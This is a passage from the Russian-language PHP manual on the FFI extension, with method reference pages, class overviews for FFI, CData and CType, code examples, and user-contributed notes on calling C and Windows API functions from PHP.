      int SystemParametersInfoA(int uAction, int uParam, char *lpvParam, int fuWinIni);
    IDL, 'User32.dll');
    $Kernel32 = FFI::cdef(<<<'IDL'
      int GetLastError();
    IDL, 'Kernel32.dll');
    // call the Windows API to update the desktop background.
    $Ret = $User32->SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, $bmpFilePath, SPIF_UPDATEINIFILE || SPIF_SENDWININICHANGE);
    if ($Ret == 0)
    {
      $Error = $Kernel32->GetLastError();
      throw new Exception("The call to the Windows API failed (error {$Error}).");
    }
  }

  $Url='https://www.php.net//images/news/phpkonf_2015.png';
  $Img=File_Get_Contents($Url);
  File_Put_Contents($File=basename($Url), $Img);
  setWindowsDesktop(realpath($File));
?>


Callback-функции PHP

Можно присвоить замыкание PHP переменной типа "указатель" (pointer) либо передать его как аргумент функции:

<?php
$zend = FFI::cdef("
typedef int (*zend_write_func_t)(const char *str, size_t str_length);
extern zend_write_func_t zend_write;
");

echo "Привет, мир 1!\n";

$orig_zend_write = clone $zend->zend_write;
$zend->zend_write = function($str, $len) {
global $orig_zend_write;
$orig_zend_write("{\n\t", 3);
$ret = $orig_zend_write($str, $len);
$orig_zend_write("}\n", 2);
return $ret;
};
echo "Привет, мир 2!\n";
$zend->zend_write = $orig_zend_write;
echo "Привет, мир 3!\n";
?>

Результат выполнения данного примера:

Привет, мир 1!
{
        Привет, мир 2!
}
Привет, мир 3!
Хоть это и работает, но данная функциональность поддерживается не на всех платформах libffi, не эффективна и вызывает утечку ресурсов при завершении запросов.
Подсказка

Поэтому рекомендуется минимизировать использование callback-функций PHP.

User Contributed Notes

There are no user contributed notes for this page.


Комплексный пример PHP/FFI/preloading

php.ini

ffi.enable=preload
opcache.preload=preload.php

preload.php

<?php
FFI::load(__DIR__ . "/dummy.h");
opcache_compile_file(__DIR__ . "/dummy.php");
?>

dummy.h

#define FFI_SCOPE "DUMMY"
#define FFI_LIB "libc.so.6"

int printf(const char *format, ...);

dummy.php

<?php
final class Dummy {
private static $ffi = null;
function __construct() {
if (is_null(self::$ffi)) {
self::$ffi = FFI::scope("DUMMY");
}
}
function printf($format, ...$args) {
return (int)self::$ffi->printf($format, ...$args);
}
}
?>

test.php

<?php
$d = new Dummy();
$d->printf("Привет, %s!\n", "мир");
?>

User Contributed Notes

There are no user contributed notes for this page.


Основной интерфейс к коду и данным C

(PHP 7 >= 7.4.0, PHP 8)

Введение

Объекты этого класса создаются фабричными методами FFI::cdef(), FFI::load() и FFI::scope(). Объявленные переменные C доступны как свойства экземпляра FFI, а функции как его методы. Объявленные типы C можно использовать для создания структур данных с помощью FFI::new() и FFI::type().

Разбор объявлений FFI и загрузка разделяемой библиотеки может занять значительное время. Не имеет смысла делать это для каждого HTTP-запроса в окружении Web. Тем не менее можно перезагрузить объявления FFI и библиотеки при старте PHP и инстанциировать объекты FFI по необходимости. Заголовочные файлы могут быть расширены специальными объявлениями FFI_SCOPE (например, #define FFI_SCOPE "foo"; скоуп по умолчанию "C") и загружены с помощью FFI::load() во время предзагрузки. Это приведёт к созданию постоянных привязок, которые будут доступны для всех запросов через FFI::scope(). Более подробно читайте на странице Простые примеры использования FFI.

В один и тот же скоуп можно загрузить несколько заголовочных файлов.

Обзор классов

final class FFI {
/* Константы */
public const int __BIGGEST_ALIGNMENT__;
/* Методы */
public static addr(FFI\CData &$ptr): FFI\CData
public static alignof(FFI\CData|FFI\CType &$ptr): int
public static arrayType(FFI\CType $type, array $dimensions): FFI\CType
public static cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData
public cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData
public static cdef(string $code = "", ?string $lib = null): FFI
public static free(FFI\CData &$ptr): void
public static isNull(FFI\CData &$ptr): bool
public static load(string $filename): ?FFI
public static memcmp(string|FFI\CData &$ptr1, string|FFI\CData &$ptr2, int $size): int
public static memcpy(FFI\CData &$to, FFI\CData|string &$from, int $size): void
public static memset(FFI\CData &$ptr, int $value, int $size): void
public static new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData
public new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData
public static scope(string $name): FFI
public static sizeof(FFI\CData|FFI\CType &$ptr): int
public static string(FFI\CData &$ptr, ?int $size = null): string
public static type(string $type): ?FFI\CType
public type(string $type): ?FFI\CType
public static typeof(FFI\CData &$ptr): FFI\CType
}

Предопределённые константы

FFI::__BIGGEST_ALIGNMENT__

Содержание

  • FFI::addr — Создаёт неуправляемый указатель на данные C
  • FFI::alignof — Возвращает величину выравнивания
  • FFI::arrayType — Динамически конструирует новый тип С массива
  • FFI::cast — Производит преобразование типа C
  • FFI::cdef — Создаёт новый объект FFI
  • FFI::free — Высвобождает неуправляемую структуру данных
  • FFI::isNull — Проверяет, является ли FFI\CData нулевым указателем
  • FFI::load — Загрузить декларации C из заголовочного файла
  • FFI::memcmp — Сравнивает две области памяти
  • FFI::memcpy — Копирует содержимое одной области памяти в другую
  • FFI::memset — Заполнить область памяти
  • FFI::new — Создаёт структуру данных C
  • FFI::scope — Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки
  • FFI::sizeof — Возвращает размер данных или типа C
  • FFI::string — Создаёт строку PHP из области памяти
  • FFI::type — Создаёт объект FFI\CType из декларации С
  • FFI::typeof — Получает FFI\CType для FFI\CData

User Contributed Notes

There are no user contributed notes for this page.


Создаёт неуправляемый указатель на данные C

  • « FFI
  • FFI::alignof »
  • PHP Manual
  • FFI
  • Создаёт неуправляемый указатель на данные C

FFI::addr

(PHP 7 >= 7.4.0, PHP 8)

FFI::addr — Создаёт неуправляемый указатель на данные C

Описание

public static FFI::addr(FFI\CData &$ptr): FFI\CData

Создаёт неуправляемый указатель на данные C, представленные заданным FFI\CData. Исходный ptr должен пережить результирующий указатель. Эта функция используется главным образом для передачи аргументов в функцию C по указателю.

Список параметров

ptr

Дескриптор неуправляемого указателя на структуру данных.

Возвращаемые значения

Возвращает новый объект FFI\CData.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает величину выравнивания

  • « FFI::addr
  • FFI::arrayType »
  • PHP Manual
  • FFI
  • Возвращает величину выравнивания

FFI::alignof

(PHP 7 >= 7.4.0, PHP 8)

FFI::alignof — Возвращает величину выравнивания

Описание

public static FFI::alignof(FFI\CData|FFI\CType &$ptr): int

Возвращает величину выравнивания объектов FFI\CData или FFI\CType.

Список параметров

ptr

Дескриптор указателя на данные или тип C.

Возвращаемые значения

Возвращает величину выравнивания объектов FFI\CData или FFI\CType.

User Contributed Notes

There are no user contributed notes for this page.


Динамически конструирует новый тип С массива

  • « FFI::alignof
  • FFI::cast »
  • PHP Manual
  • FFI
  • Динамически конструирует новый тип С массива

FFI::arrayType

(PHP 7 >= 7.4.0, PHP 8)

FFI::arrayType — Динамически конструирует новый тип С массива

Описание

public static FFI::arrayType(FFI\CType $type, array $dimensions): FFI\CType

Динамически конструирует новый тип С массива с элементами типа type и размерностями, заданными в dimensions. В следующем примере $t1 и $t2 определяют массивы одинакового типа:

<?php
$t1 = FFI::type("int[2][3]");
$t2 = FFI::arrayType(FFI::type("int"), [2, 3]);
?>

Список параметров

type

Корректная декларация типа С, например string, или заранее созданный объект класса FFI\CType.

dimensions

Массив, определяющий размерность типа.

Возвращаемые значения

Возвращает новый объект FFI\CType.

User Contributed Notes

There are no user contributed notes for this page.


Производит преобразование типа C

  • « FFI::arrayType
  • FFI::cdef »
  • PHP Manual
  • FFI
  • Производит преобразование типа C

FFI::cast

(PHP 7 >= 7.4.0, PHP 8)

FFI::cast — Производит преобразование типа C

Описание

public static FFI::cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData
public FFI::cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData

FFI::cast() создаёт новый объект класса FFI\CData, который указывает на ту же структуру C, но ассоциирован с другим типом. Полученный объект не становится владельцем данных, так что исходный указатель ptr должен оставаться живым дольше полученного объекта. Тип C должен быть задан как строка, содержащая имя любого корректного типа С, либо как объект FFI\CType. Если метод вызывается статически, то можно использовать только предопределённые имена типов С (например, int, char, etc.); если метод вызывается как метод объекта, то допустимы любые определённые для него типы.

Список параметров

type

Строка с именем типа С или объект класса FFI\CType.

ptr

Дескриптор указателя на структуру данных С.

Возвращаемые значения

Возвращает новый объект FFI\CData.

User Contributed Notes

Yaner 13-Nov-2022 09:40
For example, stdlib.h headfile defines a function called "system()" in Linux:  extern int system (const char *__command) __wur;
And we can call it using FFI extension:

<?php
    $ffi_obj = FFI::cdef('int system(char *command);')
    $ffi_obj->system('whoami');
?>

Then execute the php script as if we were calling the real C  `system()`:

$ whoami
> root
$ php demo.php
> root


Создаёт новый объект FFI

  • « FFI::cast
  • FFI::free »
  • PHP Manual
  • FFI
  • Создаёт новый объект FFI

FFI::cdef

(PHP 7 >= 7.4.0, PHP 8)

FFI::cdef — Создаёт новый объект FFI

Описание

public static FFI::cdef(string $code = "", ?string $lib = null): FFI

Создаёт новый объект FFI.

Список параметров

code

Строка, содержащая последовательность деклараций на языке С (типы, структуры, функции, переменные и т.д.). Фактически можно скопировать кусок заголовочного файла С.

Замечание:

Директивы сопроцессора С не поддерживаются. Т.е. #include, #define и макросы CPP работать не будут.

lib

Имя файла библиотеки, который будет загружен и связан с заданными декларациями.

Замечание:

Если параметр lib не задан или null, то для платформ, поддерживающих RTLD_DEFAULT, будет произведён поиск задекларированных в code сущностей в глобальной области видимости. Для прочих платформ произвести привязку не получится.

Возвращаемые значения

Возвращает новый объект FFI.

Список изменений

Версия | Описание
8.0.0 | lib теперь допускает значение null.

User Contributed Notes

derrekbertrand at gmail dot com 27-Feb-2020 10:33
You'll probably want to add a C header file, but as of the current version preprocessor directives do not work... so what do? On systems with GCC run the file through this command:

cpp -P /usr/include/unprocessedheader.h -o myprettyheader.h

Note that because preprocessing is not suppored in FFI, C/C++ macros are not supported either. You'll probably still have to write a small wrapper in C unless your library has an exceedingly simple public API.


Высвобождает неуправляемую структуру данных

  • « FFI::cdef
  • FFI::isNull »
  • PHP Manual
  • FFI
  • Высвобождает неуправляемую структуру данных

FFI::free

(PHP 7 >= 7.4.0, PHP 8)

FFI::free — Высвобождает неуправляемую структуру данных

Описание

public static FFI::free(FFI\CData &$ptr): void

Высвобождает созданную ранее неуправляемую структуру данных.

Список параметров

ptr

Дескриптор неуправляемого указателя на структуру данных.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли FFI\CData нулевым указателем

  • « FFI::free
  • FFI::load »
  • PHP Manual
  • FFI
  • Проверяет, является ли FFI\CData нулевым указателем

FFI::isNull

(PHP 7 >= 7.4.0, PHP 8)

FFI::isNull — Проверяет, является ли FFI\CData нулевым указателем

Описание

public static FFI::isNull(FFI\CData &$ptr): bool

Проверяет, является ли FFI\CData нулевым указателем.

Список параметров

ptr

Указатель на структуру данных C.

Возвращаемые значения

Возвращает true или false в зависимости от того, является ли FFI\CData нулевым указателем.

User Contributed Notes

There are no user contributed notes for this page.


Загрузить декларации C из заголовочного файла

  • « FFI::isNull
  • FFI::memcmp »
  • PHP Manual
  • FFI
  • Загрузить декларации C из заголовочного файла

FFI::load

(PHP 7 >= 7.4.0, PHP 8)

FFI::load — Загрузить декларации C из заголовочного файла

Описание

public static FFI::load(string $filename): ?FFI

Загружает декларации C из заголовочного файла. Можно указать общие библиотеки для загрузки с помощью специальной #define директивы FFI_LIB в заголовочном файле.

Список параметров

filename

Имя заголовочного файла C.

Директивы сопроцессора С не поддерживаются. Т.е. #include, #define и макросы CPP работать не будут, за исключением особых случаев, перечисленных ниже.

Заголовочный файл должен содержать оператор #define для переменной FFI_SCOPE, например, #define FFI_SCOPE "MYLIB". За подробностями обратитесь к Введению в FFI.

Заголовочный файл может содержать оператор #define для переменной FFI_LIB, чтобы указать библиотеку, которую он раскрывает. Если это системная библиотека, требуется только имя файла, например: #define FFI_LIB "libc.so.6". Если это пользовательская библиотека, требуется относительный путь, например: #define FFI_LIB "./mylib.so".

Возвращаемые значения

Возвращает новый объект FFI или null в случае возникновения ошибки.

Смотрите также

  • FFI::scope() - Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки

User Contributed Notes

jungmann0 at gmail dot com 20-Jun-2020 07:20
Since #include's and #define's other than FFI_LIB and FFI_SCOPE are not supported in the header, you may want to use the C preprocessor to pre-process your headers in order to resolve all #include's and macros.

I use -D"__attribute__(ARGS)=" to remove function attributes as well, which are not supported by FFI either.

This is my script:

echo '#define FFI_SCOPE "YOUR_SCOPE"' > header-ffi.h
echo '#define FFI_LIB "/path/to/your_lib.so"' >> header-ffi.h
cpp -P -C -D"__attribute__(ARGS)=" header_original >> header-ffi.h
ojrask at gmail dot com 03-Feb-2020 07:23
Regarding the `FFI_LIB` constant:

The path given can be either relative, or absolute, or then refer to a library that is in your global libraries path (i.e. where libc.so.6 and friends are).

The absolute path and global lib path work as expected. The relative path does not work from the header file path, but the current working directory instead. So when you create header files for FFI usage, remember that the PHP script can be called anywhere and this means any relative paths in `FFI_LIB` will most probably fail.

Not sure if there is some possibility to make it use paths relative to the script being called, or relative to the header file being loaded. That would make more sense to me at least.

Right now `FFI_LIB` is quite unusable when it comes to making FFI-powered PHP packages that can be installed literally anywhere on a system. `FFI::cdef` works just as well, but `FFI::scope` also seems to rely on `FFI_LIB` meaning it will fail with relative paths as well.

I guess this comes from the C function `dlopen` as is.


Сравнивает две области памяти

  • « FFI::load
  • FFI::memcpy »
  • PHP Manual
  • FFI
  • Сравнивает две области памяти

FFI::memcmp

(PHP 7 >= 7.4.0, PHP 8)

FFI::memcmp — Сравнивает две области памяти

Описание

public static FFI::memcmp(string|FFI\CData &$ptr1, string|FFI\CData &$ptr2, int $size): int

Сравнивает полученный в параметре size размер байтов из областей памяти по указателям ptr1 и ptr2. И ptr1, и ptr2 могут быть любыми нативными структурами данных (FFI\CData), либо строками PHP.

Список параметров

ptr1

Указатель на первую область памяти.

ptr2

Указатель на вторую область памяти.

size

Количество байтов для сравнения.

Возвращаемые значения

Возвращает значение меньше 0, если содержимое области памяти от указателя в параметре ptr1 меньше, чем содержимое области памяти от указателя в параметре ptr2, значение больше 0, если содержимое первой области памяти больше второй, и 0, если если они равны.

User Contributed Notes

There are no user contributed notes for this page.


Копирует содержимое одной области памяти в другую

  • « FFI::memcmp
  • FFI::memset »
  • PHP Manual
  • FFI
  • Копирует содержимое одной области памяти в другую

FFI::memcpy

(PHP 7 >= 7.4.0, PHP 8)

FFI::memcpy — Копирует содержимое одной области памяти в другую

Описание

public static FFI::memcpy(FFI\CData &$to, FFI\CData|string &$from, int $size): void

Копирует size байт из области памяти from в область памяти to.

Список параметров

to

Целевая область памяти.

from

Область памяти, откуда будет происходить копирование.

size

Количество байт для копирования.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Заполнить область памяти

  • « FFI::memcpy
  • FFI::new »
  • PHP Manual
  • FFI
  • Заполнить область памяти

FFI::memset

(PHP 7 >= 7.4.0, PHP 8)

FFI::memset — Заполнить область памяти

Описание

public static FFI::memset(FFI\CData &$ptr, int $value, int $size): void

Заполняет size байт памяти по указателю ptr значением value.

Список параметров

ptr

Указатель на начало участка памяти.

value

Значение для заполнения.

size

Количество байт, которые будут заполнены.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт структуру данных C

  • « FFI::memset
  • FFI::scope »
  • PHP Manual
  • FFI
  • Создаёт структуру данных C

FFI::new

(PHP 7 >= 7.4.0, PHP 8)

FFI::new — Создаёт структуру данных C

Описание

public static FFI::new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData
public FFI::new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData

Создаёт нативную структуру данных заданного типа. При статическом вызове данного метода необходимо использовать только предопределённые имена типов С (такие как int, char, и т.д.); при вызове как метод объекта, допустим любой тип объявленный для него.

Список параметров

type

type - корректная декларация типа С, например, string или заранее созданный объект класса FFI\CType.

owned

Создавать ли управляемые или неуправляемые данные. Управляемые данные живут в связке с возвращённым объектом FFI\CData и высвобождается когда стандартный подсчёт ссылок PHP или GC (сборщик мусора) освободят последнюю ссылку на этот объект. Неуправляемые данные необходимо высвобождать вручную с помощью FFI::free().

persistent

Располагать ли данные на постоянной основе к системной куче(heap) (используя malloc()), или в куче запроса PHP (используя emalloc()).

Возвращаемые значения

Возвращает новый объект FFI\CData или null в случае возникновения ошибки.

User Contributed Notes

baminazad at cs dot stonybrook dot edu 18-Dec-2019 08:30
Let's assume we have a C struct:
typedef struct _Z3_ast *Z3_ast;

and we want to create an array:
Z3_ast args[2];

and assign values:
args[1] = x;
args[1] = y;

The PHP FFI equivalent would be:
<?php
$ffi = FFI::cdef(...
// Create Z3_ast[2] type
$arg_type = FFI::arrayType($ffi->type('Z3_ast'), [2]);
// Create array of type Z3_ast[2]
$args = FFI::new($arg_type);
// Populate the array
$args[0] = $x;
$args[1] = $y;
?>


Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки

  • « FFI::new
  • FFI::sizeof »
  • PHP Manual
  • FFI
  • Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки

FFI::scope

(PHP 7 >= 7.4.0, PHP 8)

FFI::scope — Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки

Описание

public static FFI::scope(string $name): FFI

Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки.

Метод FFI::scope() можно многократно вызывать для одного и того же контекста. Множество ссылок на один и тот же контекст могут быть загружены одновременно.

Список параметров

name

Имя скоупа, заданного с помощью специальной #define директивы FFI_SCOPE.

Возвращаемые значения

Возвращает новый объект FFI.

Смотрите также

  • FFI::load() - Загрузить декларации C из заголовочного файла

User Contributed Notes

mh at hanft dot de 21-Oct-2023 02:12
I have found out that FFI::scope only works with Apache when you select Apache's threading model "prefork".  Using any other threading model results in "scope not found" (and you have to use FFI::load instead because preloading seems not to be possible in this case).


Возвращает размер данных или типа C

  • « FFI::scope
  • FFI::string »
  • PHP Manual
  • FFI
  • Возвращает размер данных или типа C

FFI::sizeof

(PHP 7 >= 7.4.0, PHP 8)

FFI::sizeof — Возвращает размер данных или типа C

Описание

public static FFI::sizeof(FFI\CData|FFI\CType &$ptr): int

Возвращает размер объектов FFI\CData или FFI\CType.

Список параметров

ptr

Дескриптор указателя на тип или данные C.

Возвращаемые значения

Размер области памяти, на который указывает ptr.

User Contributed Notes

wowabbs+php at gmail dot com 12-Dec-2020 03:17
<?php // Sample using sizeof
    Function _Win_Ffi_GlobalMemoryStatus()
    {
      static $Kernel32, $a, $r;
      $Kernel32??=FFI::cdef(<<<'IDL'
        typedef struct _MemoryStatus {
          uint32_t Length        ;
          uint32_t MemoryLoad    ;
          uint64_t TotalPhys     ;
          uint64_t AvailPhys     ;
          uint64_t TotalPageFile ;
          uint64_t AvailPageFile ;
          uint64_t TotalVirtual  ;
          uint64_t AvailVirtual  ;
        } MemoryStatus;
        void GlobalMemoryStatus(MemoryStatus* buf);
       IDL, 'Kernel32.dll');
      $a??=$Kernel32->new('MemoryStatus');
      $a->Length =$Kernel32::sizeof($Kernel32->type('MemoryStatus'));
      $r??=FFI::addr($a);
      $Kernel32->GlobalMemoryStatus($r);
      return [
        'Total' =>$a->TotalPhys,
        'Free'  =>$a->TotalPhys-$a->AvailPhys,
        'Load'  =>$a->MemoryLoad*0.01,
      ];
    }
?>


Создаёт строку PHP из области памяти

  • « FFI::sizeof
  • FFI::type »
  • PHP Manual
  • FFI
  • Создаёт строку PHP из области памяти

FFI::string

(PHP 7 >= 7.4.0, PHP 8)

FFI::string — Создаёт строку PHP из области памяти

Описание

public static FFI::string(FFI\CData &$ptr, ?int $size = null): string

Создаёт переменную PHP типа string из size байт памяти, начиная с адреса по указателю ptr.

Список параметров

ptr

Начало участка памяти, из которой будет создаваться строка.

size

Количество байт для копирования в строку. Если параметр size не задан или null, то ptr должен указывать на массив C типа char, завершающийся нулевым байтом.

Возвращаемые значения

Строка PHP.

Список изменений

Версия | Описание
8.0.0 | size теперь допускает значение null; ранее значением по умолчанию был 0.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект FFI\CType из декларации С

  • « FFI::string
  • FFI::typeof »
  • PHP Manual
  • FFI
  • Создаёт объект FFI\CType из декларации С

FFI::type

(PHP 7 >= 7.4.0, PHP 8)

FFI::type — Создаёт объект FFI\CType из декларации С

Описание

public static FFI::type(string $type): ?FFI\CType
public FFI::type(string $type): ?FFI\CType

Функция создаёт и возвращает объект FFI\CType для заданной строки, содержащей декларацию типа С. Если метод вызывается статически, то можно использовать только предопределённые имена типов С (например, int, char, и т.д.); если метод вызывается как метод объекта, то допустимы любые определённые для него типы.

Список параметров

type

Корректная декларация типа C в качестве строки (string).

Возвращаемые значения

Возвращает новый объект FFI\CType или null в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает FFI\CType для FFI\CData

  • « FFI::type
  • FFI\CData »
  • PHP Manual
  • FFI
  • Получает FFI\CType для FFI\CData

FFI::typeof

(PHP 7 >= 7.4.0, PHP 8)

FFI::typeof — Получает FFI\CType для FFI\CData

Описание

public static FFI::typeof(FFI\CData &$ptr): FFI\CType

Возвращает объект FFI\CType, представляющий тип объекта FFI\CData.

Список параметров

ptr

Указатель на структуру данных C.

Возвращаемые значения

Возвращает объект FFI\CType, представляющий тип объекта FFI\CData.

User Contributed Notes

There are no user contributed notes for this page.


Доступ к данным C

(PHP 7 >= 7.4.0, PHP 8)

Введение

Объекты FFI\CData могут использоваться множеством разных способов как обычные данные PHP:

  • Данные C скалярных типов могут читаться и присваиваться через свойство $cdata: $x = FFI::new('int'); $x->cdata = 42;
  • Поля структур(struct) и объединений(union) C доступны как обычные свойства объекта PHP: $cdata->field
  • Доступ к элементам массивов C происходит так же, как доступ к элементам обычного массива PHP: $cdata[$offset]
  • Массивы C можно перебирать с помощью foreach.
  • Для массивов C можно использовать функцию count().
  • Указатели C могут быть разыменованы как массив: $cdata[0]
  • Указатели C можно сравнивать обычными операторами сравнения (<, <=, ==, !=, >=, >).
  • Для указателей C можно использовать операции инкремента и декремента +/-/ ++/--: $cdata += 5
  • Указатели C можно вычитать друг из друга с помощью операции -.
  • Указатели на функции можно вызывать как обычные замыкания PHP: $cdata()
  • Любые данные C можно клонировать с помощью clone: $cdata2 = clone $cdata;
  • Любые данные C можно визуализировать с помощью var_dump(), print_r(), и т.д.

Замечание: Обратите внимание, что для экземпляров FFI\CData не поддерживаются функции isset(), empty() и unset(). А для тех, что оборачивают структуры и объединения не реализован интерфейс Traversable.

Обзор классов

final class FFI\CData {
}

User Contributed Notes

There are no user contributed notes for this page.


Доступ к типам C

(PHP 7 >= 7.4.0, PHP 8)

Введение

Обзор классов

final class FFI\CType {
/* Константы */
public const int TYPE_VOID;
public const int TYPE_FLOAT;
public const int TYPE_DOUBLE;
public const int TYPE_LONGDOUBLE;
public const int TYPE_UINT8;
public const int TYPE_SINT8;
public const int TYPE_UINT16;
public const int TYPE_SINT16;
public const int TYPE_UINT32;
public const int TYPE_SINT32;
public const int TYPE_UINT64;
public const int TYPE_SINT64;
public const int TYPE_ENUM;
public const int TYPE_BOOL;
public const int TYPE_CHAR;
public const int TYPE_POINTER;
public const int TYPE_FUNC;
public const int TYPE_ARRAY;
public const int TYPE_STRUCT;
public const int ATTR_CONST;
public const int ATTR_INCOMPLETE_TAG;
public const int ATTR_VARIADIC;
public const int ATTR_INCOMPLETE_ARRAY;
public const int ATTR_VLA;
public const int ATTR_UNION;
public const int ATTR_PACKED;
public const int ATTR_MS_STRUCT;
public const int ATTR_GCC_STRUCT;
public const int ABI_DEFAULT;
public const int ABI_CDECL;
public const int ABI_FASTCALL;
public const int ABI_THISCALL;
public const int ABI_STDCALL;
public const int ABI_PASCAL;
public const int ABI_REGISTER;
public const int ABI_MS;
public const int ABI_SYSV;
public const int ABI_VECTORCALL;
/* Методы */
public getAlignment(): int
public getArrayElementType(): FFI\CType
public getArrayLength(): int
public getAttributes(): int
public getEnumKind(): int
public getFuncABI(): int
public getFuncParameterCount(): int
public getFuncParameterType(int $index): FFI\CType
public getFuncReturnType(): FFI\CType
public getKind(): int
public getName(): string
public getPointerType(): FFI\CType
public getSize(): int
public getStructFieldNames(): array
public getStructFieldOffset(string $name): int
public getStructFieldType(string $name): FFI\CType
}

Предопределённые константы

FFI\CType::TYPE_VOID

FFI\CType::TYPE_FLOAT

FFI\CType::TYPE_DOUBLE

FFI\CType::TYPE_LONGDOUBLE

FFI\CType::TYPE_UINT8

FFI\CType::TYPE_SINT8

FFI\CType::TYPE_UINT16

FFI\CType::TYPE_SINT16

FFI\CType::TYPE_UINT32

FFI\CType::TYPE_SINT32

FFI\CType::TYPE_UINT64

FFI\CType::TYPE_SINT64

FFI\CType::TYPE_ENUM

FFI\CType::TYPE_BOOL

FFI\CType::TYPE_CHAR

FFI\CType::TYPE_POINTER

FFI\CType::TYPE_FUNC

FFI\CType::TYPE_ARRAY

FFI\CType::TYPE_STRUCT

FFI\CType::ATTR_CONST

FFI\CType::ATTR_INCOMPLETE_TAG

FFI\CType::ATTR_VARIADIC

FFI\CType::ATTR_INCOMPLETE_ARRAY

FFI\CType::ATTR_VLA

FFI\CType::ATTR_UNION

FFI\CType::ATTR_PACKED

FFI\CType::ATTR_MS_STRUCT

FFI\CType::ATTR_GCC_STRUCT

FFI\CType::ABI_DEFAULT

FFI\CType::ABI_CDECL

FFI\CType::ABI_FASTCALL

FFI\CType::ABI_THISCALL

FFI\CType::ABI_STDCALL

FFI\CType::ABI_PASCAL

FFI\CType::ABI_REGISTER

FFI\CType::ABI_MS

FFI\CType::ABI_SYSV

FFI\CType::ABI_VECTORCALL

Содержание

  • FFI\CType::getAlignment — Описание
  • FFI\CType::getArrayElementType — Описание
  • FFI\CType::getArrayLength — Описание
  • FFI\CType::getAttributes — Описание
  • FFI\CType::getEnumKind — Описание
  • FFI\CType::getFuncABI — Описание
  • FFI\CType::getFuncParameterCount — Описание
  • FFI\CType::getFuncParameterType — Описание
  • FFI\CType::getFuncReturnType — Описание
  • FFI\CType::getKind — Описание
  • FFI\CType::getName — Описание
  • FFI\CType::getPointerType — Описание
  • FFI\CType::getSize — Описание
  • FFI\CType::getStructFieldNames — Описание
  • FFI\CType::getStructFieldOffset — Описание
  • FFI\CType::getStructFieldType — Описание

User Contributed Notes

scorninpc at php dot net 03-Jan-2020 09:33
You can compare CTypes if you want to know if the type are correct

\FFI::typeof(\FFI::addr($a)) == \FFI::typeof(\FFI::new("void *"))

CType need some methods, like equal() or toString(), but .....


Описание

  • « FFI\CType
  • FFI\CType::getArrayElementType »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getAlignment

(PHP 8 >= 8.1.0)

FFI\CType::getAlignment — Описание

Описание

public FFI\CType::getAlignment(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getAlignment
  • FFI\CType::getArrayLength »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getArrayElementType

(PHP 8 >= 8.1.0)

FFI\CType::getArrayElementType — Описание

Описание

public FFI\CType::getArrayElementType(): FFI\CType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getArrayElementType
  • FFI\CType::getAttributes »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getArrayLength

(PHP 8 >= 8.1.0)

FFI\CType::getArrayLength — Описание

Описание

public FFI\CType::getArrayLength(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getArrayLength
  • FFI\CType::getEnumKind »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getAttributes

(PHP 8 >= 8.1.0)

FFI\CType::getAttributes — Описание

Описание

public FFI\CType::getAttributes(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getAttributes
  • FFI\CType::getFuncABI »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getEnumKind

(PHP 8 >= 8.1.0)

FFI\CType::getEnumKind — Описание

Описание

public FFI\CType::getEnumKind(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getEnumKind
  • FFI\CType::getFuncParameterCount »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getFuncABI

(PHP 8 >= 8.1.0)

FFI\CType::getFuncABI — Описание

Описание

public FFI\CType::getFuncABI(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getFuncABI
  • FFI\CType::getFuncParameterType »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getFuncParameterCount

(PHP 8 >= 8.1.0)

FFI\CType::getFuncParameterCount — Описание

Описание

